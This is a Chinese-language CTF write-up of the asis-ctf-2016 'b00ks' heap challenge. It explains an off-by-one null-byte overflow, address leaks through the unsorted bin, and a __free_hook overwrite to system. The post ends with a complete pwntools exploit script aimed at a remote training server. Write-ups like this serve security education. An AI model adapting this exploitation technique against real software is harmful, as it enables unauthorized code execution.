堆溢出off-by-one (asis-ctf-2016 b00ks)

本文最后更新于 2024年10月23日 晚上

堆溢出off-by-one (asis-ctf-2016 b00ks)

  • libc-2.23

  • 漏洞点:

    author name 输入为32,也就是这里的a2=32,经历了32次++a1后,a1[32]=0,而这是第33位。

    image-20240311171053765

​ 其他地方对于这个scanf_s的调用正常,因为都是输入的size-1

image-20240311171214863

  • 创建堆块:

    这个写着最大32,但是无妨,可以更大,需要注意的是,这里输入的size必须是十进制数。(以前做的题往往喜欢输入成0x20,0x30等等)(看了看以前做的题,都是用atoi转了,所以可以那么输入。)

    image-20240311192609058

book_list以及author_name_list仍然保存一个地址,那个地址指向真正的数据域

image-20240311200626317

image-20240311200648904

每一个book的存储大致形式:

image-20240311201619738

  • 用过的块的id同样不能再重复使用,最多20次对块的创建操作。
1
2
3
sl(b'C'*31+b'D'*1)
new(b'140',b'AAAAAA',b'140',b'BBBBBB')
show()

泄露出book1的0x30大小的指挥块位置(这里指向的是id)

  • 还剩0x20e80,把它用完,让mmap再分配内存。

image-20240311213203345

  • 这时候从heap里看不到那个新的很大的块,从控制块中找到它们。

    image-20240311213745883

  • 接下来把60覆盖成00

    image-20240311215847155

  • 不知道为什么泄露出来的book_2_name的地址与libc_base的基地址偏移每次不同

更换思路,用unsortedbin来泄露

  • 原本的book2_control的距离+8刚好是可以泄露fd指针的.
  • 计算得到book4_control块的距离。(这是已经到最后的new,book4之后才用debug看的距离,其实可以提前算,不过麻烦,不如直接看debug减出来距离)
1
payload = b"A" * (0x100 - 0xc0) +p64(1)+ p64(book2_control + 8)+p64(book4_control+0x10) +p64(0xffff)
  • 注意这里:后面一定要加长度,要不然输入不进去,这代表这description的长度

    1
    payload = p64(free_hook)+p64(0xffff)

    我用的libc直接是glibc中的2.23的,后续把它换成buu的远程就直接能通过

总exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./b00ks')
p=remote('node5.buuoj.cn',26785)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

def debug():
gdb.attach(p)
pause(1)


def new(name_size,name,des_size,des):
ru('Exit')
sl(b'1')
ru('Enter book name size:')
sl(name_size)
ru('Enter book name (Max 32 chars):')
sl(name)
ru('Enter book description size:')
sl(des_size)
ru('Enter book description:')
sl(des)


def dele(ID):
ru('Exit')
sl(b'2')
sl(ID)


def edit(ID,des):
ru('Exit')
sl(b'3')
rl()
sl(ID)
ru('description')
sl(des)


def show():
ru('Exit')
sl(b'4')

def change(content):
ru('Exit')
sl(b'5')
sl(content)


sl(b'C'*31+b'D'*1)
new(b'140',b'book1',b'140',b'first book')
show()
ru('CCCD')
book1_control = u64(rc(6).ljust(8,b'\x00'))
book2_control = book1_control + 0x30
book4_control = book1_control + 0x450
#print(hex(book1_control))

new(b'512',b'book2',b'512',b'second book')
new(b'20',b'/bin/sh\x00',b'20',b'/bin/sh\x00')
#debug()
dele(b'2')
payload = b"A" * (0x100 - 0xc0) +p64(1)+ p64(book2_control + 8)+p64(book4_control+0x10) +p64(0xffff)
edit(b'1', payload)
change(b'C'*31 + b'D'*1)
show()

#offset = 0x7f2da9d56010 - 0x7f2da9600000
#print(offset)
#libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
rl()
rl()
p.recv(6)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 88 - 0x10 -(0x7f5b3ddc4b10-0x7f5b3da00000)
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']


#edit(b'1',p64(bin_sh)+p64(free_hook))
new(b'140',b'book4',b'140',b'forth book')
payload = p64(free_hook)+p64(0xffff)
edit(b'1',payload)

#debug()
edit(b'4',p64(system_addr))
#debug()

dele(b'3')


p.interactive()

十分感谢师傅们的详细博客–参考博客:

[Asis CTF 2016] b00ks —— Off-By-One笔记与思考_asis ctf 2016 b00ks-CSDN博客

Asis 2016 b00ks (off by one利用)-Pwn-看雪-安全社区|安全招聘|kanxue.com


堆溢出off-by-one (asis-ctf-2016 b00ks)
https://xyyr-c.github.io/2024/10/23/堆溢出off-by-one (asis-ctf-2016 b00ks)/
作者
xyyr
发布于
2024年10月23日
许可协议